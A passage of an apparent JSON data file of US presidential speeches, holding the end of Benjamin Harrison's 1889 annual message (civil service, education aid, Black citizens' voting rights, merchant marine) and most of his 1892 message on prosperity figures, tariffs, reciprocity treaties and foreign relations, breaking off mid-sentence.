would\nreceive the distinction and benefit that in all private employments comes\nfrom exceptional faithfulness and efficiency in the performance of duty.I have suggested to the heads of the Executive Departments that they\nconsider whether a record might not be kept in each bureau of all those\nelements that are covered by the terms \"faithfulness\" and \"efficiency,\" and\na rating made showing the relative merits of the clerks of each class, this\nrating to be regarded as a test of merit in making promotions.I have also suggested to the Postmaster-General that he adopt some plan by\nwhich he can, upon the basis of the reports to the Department and of\nfrequent inspections, indicate the relative merit of postmasters of each\nclass. They will be appropriately indicated in the Official Register and in\nthe report of the Department. That a great stimulus would thus be given to\nthe whole service I do not doubt, and such a record would be the best\ndefense against inconsiderate removals from office.The interest of the General Government in the education of the people found\nan early expression, not only in the thoughtful and sometimes warning\nutterances of our ablest statesmen, but in liberal appropriations from the\ncommon resources for the support of education in the new States. No one\nwill deny that it is of the gravest national concern that those who hold\nthe ultimate control of all public affairs should have the necessary\nintelligence wisely to direct and determine them. National aid to education\nhas heretofore taken the form of land grants, and in that form the\nconstitutional power of Congress to promote the education of the people is\nnot seriously questioned. I do not think it can be successfully questioned\nwhen the form is changed to that of a direct grant of money from the public\nTreasury.Such aid should be, as it always has been, suggested by some exceptional\nconditions. The sudden emancipation of the slaves of the South, the\nbestowal of the suffrage which soon followed, and the impairment of the\nability of the States where these new citizens were chiefly found to\nadequately provide educational facilities presented not only exceptional\nbut unexampled conditions. That the situation has been much ameliorated\nthere is no doubt. The ability and interest of the States have happily\nincreased.But a great work remains to be done, and I think the General Government\nshould lend its aid. As the suggestion of a national grant in aid of\neducation grows chiefly out of the condition and needs of the emancipated\nslave and his descendants, the relief should as far as possible, while\nnecessarily proceeding upon some general lines, be applied to the need that\nsuggested it. It is essential, if much good is to be accomplished, that the\nsympathy and active interest of the people of the States should be\nenlisted, and that the methods adopted should be such as to stimulate and\nnot to supplant local taxation for school purposes.As one Congress can not bind a succeeding one in such a case and as the\neffort must in some degree be experimental, I recommend that any\nappropriation made for this purpose be so limited in annual amount and as\nto the time over which it is to extend as will on the one hand give the\nlocal school authorities opportunity to make the best use of the first\nyear's allowance, and on the other deliver them from the temptation to\nunduly postpone the assumption of the whole burden themselves.The colored people did not intrude themselves upon us. They were brought\nhere in chains and held in the communities where they are now chiefly found\nby a cruel slave code. Happily for both races, they are now free. They have\nfrom a standpoint of ignorance and poverty--which was our shame, not\ntheirs--made remarkable advances in education and in the acquisition of\nproperty. They have as a people shown themselves to be friendly and\nfaithful toward the white race under temptations of tremendous strength.\nThey have their representatives in the national cemeteries, where a\ngrateful Government has gathered the ashes of those who died in its\ndefense. They have furnished to our Regular Army regiments that have won\nhigh praise from their commanding officers for courage and soldierly\nqualities and for fidelity to the enlistment oath. In civil life they are\nnow the toilers of their communities, making their full contribution to the\nwidening streams of prosperity which these communities are receiving. Their\nsudden withdrawal would stop production and bring disorder into the\nhousehold as well as the shop. Generally they do not desire to quit their\nhomes, and their employers resent the interference of the emigration agents\nwho seek to stimulate such a desire.But notwithstanding all this, in many parts of our country where the\ncolored population is large the people of that race are by various devices\ndeprived of any effective exercise of their political rights and of many of\ntheir civil rights. The wrong does not expend itself upon those whose votes\nare suppressed. Every constituency in the Union is wronged.It has been the hope of every patriot that a sense of justice and of\nrespect for the law would work a gradual cure of these flagrant evils.\nSurely no one supposes that the present can be accepted as a permanent\ncondition. If it is said that these communities must work out this problem\nfor themselves, we have a right to ask whether they are at work upon it. Do\nthey suggest any solution? When and under what conditions is the black man\nto have a free ballot? When is he in fact to have those full civil rights\nwhich have so long been his in law? When is that equality of influence\nwhich our form of government was intended to secure to the electors to be\nrestored? This generation should courageously face these grave questions,\nand not leave them as a heritage of woe to the next. The consultation\nshould proceed with candor, calmness, and great patience, upon the lines of\njustice and humanity, not of prejudice and cruelty. No question in our\ncountry can be at rest except upon the firm base of justice and of the\nlaw.I earnestly invoke the attention of Congress to the consideration of such\nmeasures within its well-defined constitutional powers as will secure to\nall our people a free exercise of the right of suffrage and every other\ncivil right under the Constitution and laws of the United States. No evil,\nhowever deplorable, can justify the assumption either on the part of the\nExecutive or of Congress of powers not granted, but both will be highly\nblamable if all the powers granted are not wisely but firmly used to\ncorrect these evils. The power to take the whole direction and control of\nthe election of members of the House of Representatives is clearly given to\nthe General Government. A partial and qualified supervision of these\nelections is now provided for by law, and in my opinion this law may be so\nstrengthened and extended as to secure on the whole better results than can\nbe attained by a law taking all the processes of such election into Federal\ncontrol. The colored man should be protected in all of his relations to the\nFederal Government, whether as litigant, juror, or witness in our courts,\nas an elector for members of Congress, or as a peaceful traveler upon our\ninterstate railways.There is nothing more justly humiliating to the national pride and nothing\nmore hurtful to the national prosperity than the inferiority of our\nmerchant marine compared with that of other nations whose general\nresources, wealth, and seacoast lines do not suggest any reason for their\nsupremacy on the sea. It was not always so, and our people are agreed, I\nthink, that it shall not continue to be so. It is not possible in this\ncommunication to discuss the causes of the decay of our shipping interests\nor the differing methods by which it is proposed to restore them. The\nstatement of a few well-authenticated facts and some general suggestions as\nto legislation is all that is practicable. That the great steamship lines\nsailing under the flags of England, France, Germany, Spain, and Italy, and\nengaged in foreign commerce, were .promoted and have since been and now are\nliberally aided by grants of public money in one form or another is\ngenerally known. That the American lines of steamships have been abandoned\nby us to an unequal contest with the aided lines of other nations until\nthey have been withdrawn, or in the few cases where they are still\nmaintained are subject to serious disadvantages, is matter of common\nknowledge.The present situation is such that travelers and merchandise find Liverpool\noften a necessary intermediate port between New York and some of the South\nAmerican capitals. The fact that some of the delegates from South American\nStates to the conference of American nations now in session at Washington\nreached our shores by reversing that line of travel is very conclusive of\nthe need of such a conference and very suggestive as to the first and most\nnecessary step in the direction of fuller and more beneficial intercourse\nwith nations that are now our neighbors upon the lines of latitude, but not\nupon the lines of established commercial intercourse.I recommend that such appropriations be made for ocean mail service in\nAmerican steamships between our ports and those of Central and South\nAmerica, China, Japan, and the important islands in both of the great\noceans as will be liberally remunerative for the service rendered and as\nwill encourage the establishment and in some fair degree equalize the\nchances of American steamship lines in the competitions which they must\nmeet. That the American States lying south of us will cordially cooperate\nin establishing and maintaining such lines of steamships to their principal\nports I do not doubt.We should also make provision for a naval reserve to consist of such\nmerchant ships of American construction and of a specified tonnage and\nspeed as the owners will consent to place at the use of the Government in\ncase of need as armed cruisers. England has adopted this policy, and as a\nresult can now upon necessity at once place upon her naval list some of the\nfastest steamships in the world. A proper supervision of the construction\nof such vessels would make their conversion into effective ships of war\nvery easy.I am an advocate of economy in our national expenditures, but it is a\nmisuse of terms to make this word describe a policy that withholds an\nexpenditure for the purpose of extending our foreign commerce. The\nenlargement and improvement of our merchant marine, the development of a\nsufficient body of trained American seamen, the promotion of rapid and\nregular mail communication between the ports of other countries and our\nown, and the adaptation of large and swift American merchant steamships to\nnaval uses in time of war are public purposes of the highest concern. The\nenlarged participation of our people in the carrying trade, the new and\nincreased markets that will be opened for the products of our farms and\nfactories, and the fuller and better employment of our mechanics which will\nresult from a liberal promotion of our foreign commerce insure the widest\npossible diffusion of benefit to all the States and to all our people.\nEverything is most propitious for the present inauguration of a liberal and\nprogressive policy upon this subject, and we should enter upon it with\npromptness and decision.The legislation which I have suggested, it is sincerely believed, will\npromote the peace and honor of our country and the prosperity and security\nof the people. I invoke the diligent and serious attention of Congress to\nthe consideration of these and such other measures as may be presented\nhaving the same great end in view.BENJ. HARRISON", 
+    "name": "Benjamin Harrison"
+}
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+{
+    "date": "December 6, 1892", 
+    "speech": "To the Senate and House of Representatives:In submitting my annual message to Congress I have great satisfaction in\nbeing able to say that the general conditions affecting the commercial and\nindustrial interests of the United States are in the highest degree\nfavorable. A comparison of the existing conditions with those of the most\nfavored period in the history of the country will, I believe, show that so\nhigh a degree of prosperity and so general a diffusion of the comforts of\nlife were never before enjoyed by our people.The total wealth of the country in 1860 was $16,159,616,068. In 1890 it\namounted to $62,610,000,000, an increase of 287 per cent.The total mileage of railways in the United States in 1860 was 30,626. In\n1890 it was 167,741, an increase of 448 per cent; and it is estimated that\nthere will be about 4,000 miles of track added by the close of the year\n1892.The official returns of the Eleventh Census and those of the Tenth Census\nfor seventy-five leading cities furnish the basis for the following\ncomparisons:In 1880 the capital invested in manufacturing was $1,232,839,670.In 1890 the capital invested in manufacturing was $2,900,735,884.In 1880 the number of employees was 1,301,388.In 1890 the number of employees was 2,251,134.In 1880 the wages earned were $501,965,778.In 1890 the wages earned were $1,221,170,454.In 1880 the value of the product was $2,711,579,899.In 1890 the value of the product was $4,860,286,837.I am informed by the Superintendent of the Census that the omission of\ncertain industries in 1880 which were included in 1890 accounts in part for\nthe remarkable increase thus shown, but after making full allowance for\ndifferences of method and deducting the returns for all industries not\nincluded in the census of 1880 there remain in the reports from these\nseventy-five cities an increase in the capital employed of $1,522,745,604,\nin the value of the product of $2,024,236,166, in wages earned of\n$677,943,929, and in the number of wage earners employed of 856,029. The\nwage earnings not only show an increased aggregate, but an increase per\ncapita from $386 in 1880 to $547 in 1890, or 41.71 per cent.The new industrial plants established since October 6, 1890, and up to\nOctober 22, 1892, as partially reported in the American Economist, number\n345, and the extension of existing plants 108; the new capital invested\namounts to $40,449,050, and the number of additional employees to 37,285.The Textile World for July, 1892, states that during the first six months\nof the present calendar year 135 new factories were built, of which 40 are\ncotton mills, 48 knitting mills, 26 woolen mills, 15 silk mills, 4 plush\nmills, and 2 linen mills. Of the 40 cotton mills 21 have been built in the\nSouthern States. Mr. A. B. Shepperson, of the New York Cotton Exchange,\nestimates the number of working spindles in the United States on September\n1, 1892, at 15,200,000, an increase of 660,000 over the year 1891. The\nconsumption of cotton by American mills in 1891 was 2,396,000 bales, and in\n1892 2,584,000 bales, an increase of 188,000 bales. From the year 1869 to\n1892, inclusive, there has been an increase in the consumption of cotton in\nEurope of 92 per cent, while during the same period the increased\nconsumption in the United States has been about 150 per cent.The report of Ira Ayer, special agent of the Treasury Department, shows\nthat at the date of September 30, 1892, there were 32 companies\nmanufacturing tin and terne plate in the United States and 14 companies\nbuilding new works for such manufacture. The estimated investment in\nbuildings and plants at the close of the fiscal year June 30, 1893, if\nexisting conditions were to be continued, was $5,000,000 and the estimated\nrate of production 200,000,000 pounds per annum. The actual production for\nthe quarter ending September 30, 1892, was 10,952,725 pounds.The report of Labor Commissioner Peck, of New York, shows that during the\nyear 1891, in about 6,000 manufacturing establishments in that State\nembraced within the special inquiry made by him, and representing 67\ndifferent industries, there was a net increase over the year 1890 of\n$30,315,130.68 in the value of the product and of $6,377,925.09 in the\namount of wages paid. The report of the commissioner of labor for the State\nof Massachusetts shows that 3,745 industries in that State paid\n$129,416,248 in wages during the year 1891, against $126,030,303 in 1890,\nan increase of $3,335,945, and that there was an increase of $9,932,490 in\nthe amount of capital and of 7,346 in the number of persons employed in the\nsame period.During the last six months of the year 1891 and the first six months of\n1892 the total production of pig iron was 9,710,819 tons, as against\n9,202,703 tons in the year 1890, which was the largest annual production\never attained. For the same twelve months of 1891-92 the production of\nBessemer ingots was 3,878,581 tons, an increase of 189,710 gross tons over\nthe previously unprecedented yearly production of 3,688,871 gross tons in\n1890. The production of Bessemer steel rails for the first six months of\n1892 was 772,436 gross tons, as against 702,080 gross tons during the last\nsix months of the year 1891.The total value of our foreign trade (exports and imports of merchandise)\nduring the last fiscal year was $1,857,680,610, an increase of $128,283,604\nover the previous fiscal year. The average annual value of our imports and\nexports of merchandise for the ten fiscal years prior to 1891 was\n$1,457,322,019. It will be observed that our foreign trade for 1892\nexceeded this annual average value by $400,358,591, an increase of 27.47\nper cent. The significance and value of this increase are shown by the fact\nthat the excess in the trade of 1892 over 1891 was wholly in the value of\nexports, for there was a decrease in the value of imports of $17,513,754.The value of our exports during the fiscal year 1892 reached the highest\nfigure in the history of the Government, amounting to $1,030,278,148,\nexceeding by $145,797,338 the exports of 1891 and exceeding the value of\nthe imports by $202,875,686. A comparison of the value of our exports for\n1892 with the annual average for the ten years prior to 1891 shows an\nexcess of $265,142,651, or of 34.65 per cent. The value of our imports of\nmerchandise for 1892, which was $829,402,462, also exceeded the annual\naverage value of the ten years prior to 1891 by $135,215,940. During the\nfiscal year 1892 the value of imports free of duty amounted to\n$457,999,658, the largest aggregate in the history of our commerce. The\nvalue of the imports of merchandise entered free of duty in 1892 was 55.35\nper cent of the total value of imports, as compared with 43.35 per cent in\n1891 and 33.66 per cent in 1890.In our coastwise trade a most encouraging development is in progress, there\nhaving been in the last four years an increase of 16 per cent. In internal\ncommerce the statistics show that no such period of prosperity has ever\nbefore existed. The freight carried in the coastwise trade of the Great\nLakes in 1890 aggregated 28,295,959 tons. On the Mississippi, Missouri, and\nOhio rivers and tributaries in the same year the traffic aggregated\n29,405,046 tons, and the total vessel tonnage passing through the Detroit\nRiver during that year was 21,684,000 tons. The vessel tonnage entered and\ncleared in the foreign trade of London during 1890 amounted to 13,480,767\ntons, and of Liverpool 10,941,800 tons, a total for these two great\nshipping ports of 24,422,568 tons, only slightly in excess of the vessel\ntonnage passing through the Detroit River. And it should be said that the\nseason for the Detroit River was but 228 days, while of course in London\nand Liverpool the season was for the entire year. The vessel tonnage\npassing through the St. Marys Canal for the fiscal year 1892 amounted to\n9,828,874 tons, and the freight tonnage of the Detroit River is estimated\nfor that year at 25,000,000 tons, against 23,209,619 tons in 1891. The\naggregate traffic on our railroads for the year 1891 amounted to\n704,398,609 tons of freight, compared with 691,344,437 tons in 1890, an\nincrease of 13,054,172 tons.Another indication of the general prosperity of the country is found in the\nfact that the number of depositors in savings banks increased from 693,870\nin 1860 to 4,258,893 in 1890, an increase of 513 per cent, and the amount\nof deposits from $149,277,504 in 1860 to $1,524,844,506 in 1890, an\nincrease of 921 per cent. In 1891 the amount of deposits in savings banks\nwas $1,623,079,749. It is estimated that 90 per cent of these deposits\nrepresent the savings of wage earners. The bank clearances for nine months\nending September 30, 1891, amounted to $41,049,390,08. For the same months\nin 1892 they amounted to $45,189,601,947, an excess for the nine months of\n$4,140,211,139.There never has been a time in our history when work was so abundant or\nwhen wages were as high, whether measured by the currency in which they are\npaid or by their power to supply the necessaries and comforts of life. It\nis true that the market prices of cotton and wheat have been low. It is one\nof the unfavorable incidents of agriculture that the farmer can not produce\nupon orders. He must sow and reap in ignorance of the aggregate production\nof the year, and is peculiarly subject to the depreciation which follows\noverproduction. But while the fact I have stated is true as to the crops\nmentioned, the general average of prices has been such as to give to\nagriculture a fair participation in the general prosperity. The value of\nour total farm products has increased from $1,363,646,866 in 1860 to\n$4,500,000,000 in 1891, as estimated by statisticians, an increase of 230\nper cent. The number of hogs January 1, 1891, was 50,625,106 and their\nvalue $210,193,925; on January 1, 1892, the number was 52,398,019 and the\nvalue $241,031,415. On January 1, 1891, the number of cattle was 36,875,648\nand the value $544,127,908; on January 1 ,1892, the number was 37,651,239\nand the value $570,749,155.If any are discontented with their state here, if any believe that wages or\nprices, the returns for honest toil, are inadequate, they should not fail\nto remember that there is no other country in the world where the\nconditions that seem to them hard would not be accepted as highly\nprosperous. The English agriculturist would be glad to exchange the returns\nof his labor for those of the American farmer and the Manchester workmen\ntheir wages for those of their fellows at Fall River.I believe that the protective system, which has now for something more than\nthirty years continuously prevailed in our legislation, has been a mighty\ninstrument for the development of our national wealth and a most powerful\nagency in protecting the homes of our workingmen from the invasion of want.\nI have felt a most solicitous interest to preserve to our working people\nrates of wages that would not only give daily bread but supply a\ncomfortable margin for those home attractions and family comforts and\nenjoyments without which life is neither hopeful nor sweet. They are\nAmerican citizens--a part of the great people for whom our Constitution and\nGovernment were framed and instituted--and it can not be a perversion of\nthat Constitution to so legislate as to preserve in their homes the\ncomfort, independence, loyalty, and sense of interest in the Government\nwhich are essential to good citizenship in peace, and which will bring this\nstalwart throng, as in 1861, to the defense of the flag when it is\nassailed.It is not my purpose to renew here the argument in favor of a protective\ntariff. The result of the recent election must be accepted as having\nintroduced a new policy. We must assume that the present tariff,\nconstructed upon the lines of protection, is to be repealed and that there\nis to be substituted for it a tariff law constructed solely with reference\nto revenue; that no duty is to be higher because the increase will keep\nopen an American mill or keep up the wages of an American workman, but that\nin every case such a rate of duty is to be imposed as will bring to the\nTreasury of the United States the largest returns of revenue. The\ncontention has not been between schedules, but between principles, and it\nwould be offensive to suggest that the prevailing party will not carry into\nlegislation the principles advocated by it and the pledges given to the\npeople. The tariff bills passed by the House of Representatives at the last\nsession were, as I suppose, even in the opinion of their promoters,\ninadequate, and justified only by the fact that the Senate and House of\nRepresentatives were not in accord and that a general revision could not\ntherefore be undertaken.I recommend that the whole subject of tariff revision be left to the\nincoming Congress. It is matter of regret that this work must be delayed\nfor at least three months, for the threat of great tariff changes\nintroduces so much uncertainty that an amount, not easily estimated, of\nbusiness inaction and of diminished production will necessarily result. It\nis possible also that this uncertainty may result in decreased revenues\nfrom customs duties, for our merchants will make cautious orders for\nforeign goods in view of the prospect of tariff reductions and the\nuncertainty as to when they will take effect. Those who have advocated a\nprotective tariff can well afford to have their disastrous forecasts of a\nchange of policy disappointed. If a system of customs duties can be framed\nthat will set the idle wheels and looms of Europe in motion and crowd our\nwarehouses with foreign-made goods and at the same time keep our own mills\nbusy; that will give us an increased participation in the \"markets of the\nworld\" of greater value than the home market we surrender; that will give\nincreased work to foreign workmen upon products to be consumed by our\npeople without diminishing the amount of work to be done here; that will\nenable the American manufacturer to pay to his workmen from 50 to 100 per\ncent more in wages than is paid in the foreign mill, and yet to compete in\nour market and in foreign markets with the foreign producer; that will\nfurther reduce the cost of articles of wear and food without reducing the\nwages of those who produce them; that can be celebrated, after its effects\nhave been realized, as its expectation has been in European as well as in\nAmerican cities, the authors and promoters of it will be entitled to the\nhighest praise. We have had in our history several experiences of the\ncontrasted effects of a revenue and of a protective tariff, but this\ngeneration has not felt them, and the experience of one generation is not\nhighly instructive to the next. The friends of the protective system with\nundiminished confidence in the principles they have advocated will await\nthe results of the new experiment.The strained and too often disturbed relations existing between the\nemployees and the employers in our great manufacturing establishments have\nnot been favorable to a calm consideration by the wage earner of the effect\nupon wages of the protective system. The facts that his wages were the\nhighest paid in like callings in the world and that a maintenance of this\nrate of wages in the absence of protective duties upon the product of his\nlabor was impossible were obscured by the passion evoked by these contests.\nHe may now be able to review the question in the light of his personal\nexperience under the operation of a tariff for revenue only. If that\nexperience shall demonstrate that present rates of wages are thereby\nmaintained or increased, either absolutely or in their purchasing power,\nand that the aggregate volume of work to be done in this country is\nincreased or even maintained, so that there are more or as many days' work\nin a year, at as good or better wages, for the American workmen as has been\nthe case under the protective system, everyone will rejoice. A general\nprocess of wage reduction can not be contemplated by any patriotic citizen\nwithout the gravest apprehension. It may be, indeed I believe is, possible\nfor the American manufacturer to compete successfully with his foreign\nrival in many branches of production without the defense of protective\nduties if the pay rolls are equalized; but the conflict that stands between\nthe producer and that result and the distress of our working people when it\nis attained are not pleasant to contemplate. The Society of the Unemployed,\nnow holding its frequent and threatening parades in the streets of foreign\ncities, should not be allowed to acquire an American domicile.The reports of the heads of the several Executive Departments, which are\nherewith submitted, have very naturally included a resume of the whole work\nof the Administration with the transactions of the last fiscal year. The\nattention not only of Congress but of the country is again invited to the\nmethods of administration which have been pursued and to the results which\nhave been attained. Public revenues amounting to $1,414,079,292.28 have\nbeen collected and disbursed without loss from misappropriation, without a\nsingle defalcation of such importance as to attract the public attention,\nand at a diminished per cent of cost for collection. The public business\nhas been transacted not only with fidelity, but progressively and with a\nview to giving to the people in the fullest possible degree the benefits of\na service established and maintained for their protection and comfort.Our relations with other nations are now undisturbed by any serious\ncontroversy. The complicated and threatening differences with Germany and\nEngland relating to Samoan affairs, with England in relation to the seal\nfisheries in the Bering Sea, and with Chile growing out of the Baltimore\naffair have been adjusted.There have been negotiated and concluded, under section 3 of the tariff\nlaw, commercial agreements relating to reciprocal trade with the following\ncountries: Brazil, Dominican Republic, Spain for Cuba and Puerto Rico,\nGuatemala, Salvador, the German Empire, Great Britain for certain West\nIndian colonies and British Guiana, Nicaragua, Honduras, and\nAustria-Hungary.Of these, those with Guatemala, Salvador, the German Empire, Great Britain,\nNicaragua, Honduras, and Austria-Hungary have been concluded since my last\nannual message. Under these trade arrangements a free or favored admission\nhas been secured in every case for an important list of American products.\nEspecial care has been taken to secure markets for farm products, in order\nto relieve that great underlying industry of the depression which the lack\nof an adequate foreign market for our surplus often brings. An opening has\nalso been made for manufactured products that will undoubtedly, if this\npolicy is maintained, greatly augment our export trade. The full benefits\nof these arrangements can not be realized instantly. New lines of trade are\nto be opened. The commercial traveler must survey the field. The\nmanufacturer must adapt his goods to the new markets and facilities for\nexchange must be established. This work has been well begun, our merchants\nand manufacturers having entered the new fields with courage and\nenterprise. In the case of food products, and especially with Cuba, the\ntrade did not need to wait, and the immediate results have been most\ngratifying. If this policy and these trade arrangements can be continued in\nforce and aided by the establishment of American steamship lines, I do not\ndoubt that we shall within a short period secure fully one-third of the\ntotal trade of the countries of Central and South America, which now\namounts to about $600,000,000 annually. In 1885 we had only 8 per cent of\nthis trade.The following statistics show the increase in our trade with the countries\nwith which we have reciprocal trade agreements from the date when such\nagreements went into effect up to September 30, 1892, the increase being in\nsome almost wholly and in others in an important degree the result of these\nagreements:The domestic exports to Germany and Austria-Hungary have increased in value\nfrom $47,673,756 to $57,993,064, an increase of $10,319,308, or 21.63 per\ncent. With American countries the value of our exports has increased from\n$44,160,285 to $54,613,598, an increase of $10,453,313, or 23.67 per cent.\nThe total increase in the value of exports to all the countries with which\nwe have reciprocity agreements has been $20,772,621. This increase is\nchiefly in wheat, flour, meat, and dairy products and in manufactures of\niron and steel and lumber. There has been a large increase in the value of\nimports from all these countries since the commercial agreements went into\neffect, amounting to $74,294,525, but it has been entirely in imports from\nthe American countries, consisting mostly of sugar, coffee, india rubber,\nand crude drugs. The alarmed attention of our European competitors for the\nSouth American market has been attracted to this new American policy and to\nour acquisition and their loss of South American trade.A treaty providing for the arbitration of the dispute between Great Britain\nand the United States as to the killing of seals in the Bering Sea was\nconcluded on the 29th of February last. This treaty was accompanied by an\nagreement prohibiting pelagic sealing pending the arbitration, and a\nvigorous effort was made during this season to drive out all poaching\nsealers from the Bering Sea. Six naval vessels, three revenue cutters, and\none vessel from the Fish Commission, all under the command of Commander\nEvans, of the Navy, were sent into the sea, which was systematically\npatrolled. Some seizures were made, and it is believed that the catch in\nthe Bering Sea by poachers amounted to less than 500 seals. It is true,\nhowever, that in the North Pacific, while the seal herds were on their way\nto the passes between the Aleutian Islands, a very large number, probably\n35,000, were taken. The existing statutes of the United States do not\nrestrain our citizens from taking seals in the Pacific Ocean, and perhaps\nshould not unless the prohibition can be extended to the citizens of other\nnations. I recommend that power be given to the President by proclamation\nto prohibit the taking of seals in the North Pacific by American vessels in\ncase, either as the result of the findings of the Tribunal of Arbitration\nor otherwise, the restraints can be applied to the vessels of all\ncountries. The case of the United States for the Tribunal of Arbitration\nhas been prepared with great care and industry by the Hon. John W. Foster,\nand the counsel who represent this Government express confidence that a\nresult substantially establishing our claims and preserving this great\nindustry for the benefit of all nations will be attained.During the past year a suggestion was received through the British minister\nthat the Canadian government would like to confer as to the possibility of\nenlarging upon terms of mutual advantage the commercial exchanges of Canada\nand of the United States, and a conference was held at Washington, with Mr.\nBlaine acting for this Government and the British minister at this capital\nand three members of the Dominion cabinet acting as commissioners on the\npart of Great Britain. The conference developed the fact that the Canadian\ngovernment was only prepared to offer to the United States in exchange for\nthe concessions asked the admission of natural products. The statement was\nfrankly made that favored rates could not be given to the United States as\nagainst the mother country. This admission, which was foreseen, necessarily\nterminated the conference upon this question. The benefits of an exchange\nof natural products would be almost wholly with the people of Canada. Some\nother topics of interest were considered in the conference, and have\nresulted in the making of a convention for examining the Alaskan boundary\nand the waters of Passamaquoddy Bay adjacent to Eastport, Me., and in the\ninitiation of an arrangement for the protection of fish life in the\ncoterminous and neighboring waters of our northern border.The controversy as to tolls upon the Welland Canal, which was presented to\nCongress at the last session by special message, having failed of\nadjustment, I felt constrained to exercise the authority conferred by the\nact of July 26, 1892, and to proclaim a suspension of the free use of St.\nMarys Falls Canal to cargoes in transit to ports in Canada. The Secretary\nof the Treasury established such tolls as were thought to be equivalent to\nthe exactions unjustly levied upon our commerce in the Canadian canals.If, as we must suppose, the political relations of Canada and the\ndisposition of the Canadian government are to remain unchanged, a somewhat\nradical revision of our trade relations should, I think, be made. Our\nrelations must continue to be intimate, and they should be friendly. I\nregret to say, however, that in many of the controversies, notably those as\nto the fisheries on the Atlantic, the sealing interests on the Pacific, and\nthe canal tolls, our negotiations with Great Britain have continuously been\nthwarted or retarded by unreasonable and unfriendly objections and protests\nfrom Canada in the matter of the canal tolls our treaty rights were\nflagrantly disregarded. It is hardly too much to say that the Canadian\nPacific and other railway lines which parallel our northern boundary are\nsustained by commerce having either its origin or terminus, or both, in the\nUnited States. Canadian railroads compete with those of the United States\nfor our traffic, and without the restraints of our interstate-commerce act.\nTheir cars pass almost without detention into and out of our territory.The Canadian Pacific Railway brought into the United States from China and\nJapan via British Columbia during the year ended June 30, 1892, 23,239,689\npounds of freight, and it carried from the United States, to be shipped to\nChina and Japan via British Columbia, 24,068,346 pounds of freight. There\nwere also shipped from the United States over this road from Eastern ports\nof the United States to our Pacific ports during the same year 13,912,073\npounds of freight, and there were received over this road at the United\nStates Eastern ports from ports on the Pacific Coast 13,293,315 pounds of\nfreight. Mr. Joseph Nimmo, Jr., former chief of the Bureau of Statistics,\nwhen before the Senate Select Committee on Relations with Canada, April 26,\n1890, said that \"the value of goods thus transported between different\npoints in the United States across Canadian territory probably amounts to\n$100,000,000 a year.\"There is no disposition on the part of the people or Government of the\nUnited States to interfere in the smallest degree with the political\nrelations of Canada. That question is wholly with her own people. It is\ntime for us, however, to consider whether, if the present state of things\nand trend of things is to continue, our interchanges upon lines of land\ntransportation should not be put upon a different basis and our entire\nindependence of Canadian canals and of the St. Lawrence as an outlet to the\nsea secured by the construction of an American canal around the Falls of\nNiagara and the opening of ship communication between the Great Lakes and\none of our own seaports. We should not hesitate to avail ourselves of our\ngreat natural trade advantages. We should withdraw the support which is\ngiven to the railroads and steamship lines of Canada by a traffic that\nproperly belongs to us and no longer furnish the earnings which lighten the\notherwise crushing weight of the enormous public subsidies that have been\ngiven to them. The subject of the power of the Treasury to deal with this\nmatter without further legislation has been under consideration, but\ncircumstances have postponed a conclusion. It is probable that a\nconsideration of the propriety of a modification or abrogation of the\narticle of the treaty of Washington relating to the transit of goods in\nbond is involved in any complete solution of the question.Congress at the last session was kept advised of the progress of the\nserious and for a time threatening difference between the United States and\nChile. It gives me now great gratification to report that the Chilean\nGovernment in a most friendly and honorable spirit has tendered and paid as\nan indemnity to the families of the sailors of the Baltimore who were\nkilled and to those who were injured in the outbreak in the city of\nValparaiso the sum of $75,000. This has been accepted not only as an\nindemnity for a wrong done, but as a most gratifying evidence that the\nGovernment of Chile rightly appreciates the disposition of this Government\nto act in a spirit of the most absolute fairness and friendliness in our\nintercourse with that brave people. A further and conclusive evidence of\nthe mutual respect and confidence now existing is furnished by the fact\nthat a convention submitting to arbitration the mutual claims of the\ncitizens of the respective Governments has been agreed upon. Some of these\nclaims have been pending for many years and have been the occasion of much\nunsatisfactory diplomatic correspondence.I have endeavored in every way to assure our sister Republics of Central\nand South America that the United States Government and its people have\nonly the most friendly disposition toward them all. We do not covet their\nterritory. We have no disposition to be oppressive or exacting in our\ndealings with any of them, even the weakest. Our interests and our hopes\nfor them all lie in the direction of stable governments by their people and\nof the largest development of their great commercial resources. The mutual\nbenefits of enlarged commercial exchanges and of a more familiar and\nfriendly intercourse between our peoples we do desire, and in this have\nsought their friendly cooperation.I have believed, however, while holding these sentiments in the greatest\nsincerity, that we must insist upon a just responsibility for any injuries\ninflicted upon our official representatives or upon our citizens. This\ninsistence, kindly and justly but firmly made, will, I believe, promote\npeace and mutual respect.Our relations with Hawaii have been such as to attract an increased\ninterest, and must continue to do so. I deem it of great importance that\nthe projected submarine cable, a survey for which has been made, should be\npromoted. Both for naval and commercial uses we should have quick\ncommunication with Honolulu. We should before this have availed ourselves\nof the concession made many years ago to this Government for a harbor and\nnaval station at Pearl River. Many evidences of the friendliness of the\nHawaiian Government have been given in the past, and it is gratifying to\nbelieve that the advantage and necessity of a continuance of very close\nrelations is appreciated.The friendly act of this Government in expressing to the Government of\nItaly its reprobation and abhorrence of the lynching of Italian subjects in\nNew Orleans by the payment of 125,000 francs, or $24,330.90, was accepted\nby the King of Italy with every manifestation of gracious appreciation, and\nthe incident has been highly promotive of mutual respect and good will.In consequence of the action of the French Government in proclaiming a\nprotectorate over certain tribal districts of the west coast of Africa\neastward of the San Pedro River, which has long been regarded as the\nsoutheastern boundary of Liberia, I have felt constrained to make protest\nagainst this encroachment upon the territory of a Republic which was\nrounded by citizens of the United States and toward which this country has\nfor many years held the intimate relation of a friendly counselor.The recent disturbances of the public peace by lawless foreign marauders on\nthe Mexican frontier have afforded this Government an opportunity to\ntestify its good will for Mexico and its earnest purpose to fulfill the\nobligations of international friendship by pursuing and dispersing the evil\ndoers. The work of relocating the boundary of the treaty of Guadalupe\nHidalgo westward from El Paso is progressing favorably.Our intercourse with Spain continues on a friendly footing. I regret,\nhowever, not to be able to report as yet the adjustment of the claims of\nthe American missionaries arising from the disorders at Ponape, in the\nCaroline Islands, but I anticipate a satisfactory adjustment in view of\nrenewed and urgent representations to the Government at Madrid.The treatment of the religious and educational establishments of American\ncitizens in Turkey has of late called for a more than usual share of\nattention. A tendency to curtail the toleration which has so beneficially\nprevailed is discernible and has called forth the earnest remonstrance of\nthis Government. Harassing regulations in regard to schools and churches\nhave been attempted in certain localities, but not without due protest and\nthe assertion of the inherent and conventional rights of our countrymen.\nViolations of domicile and search of the persons and effects of citizens of\nthe United States by apparently irresponsible officials in the Asiatic\nvilayets have from time to time been reported. An aggravated instance of\ninjury to the property of an American missionary at Bourdour, in the\nprovince of Konia, called forth an urgent claim for reparation, which I am\npleased to say was 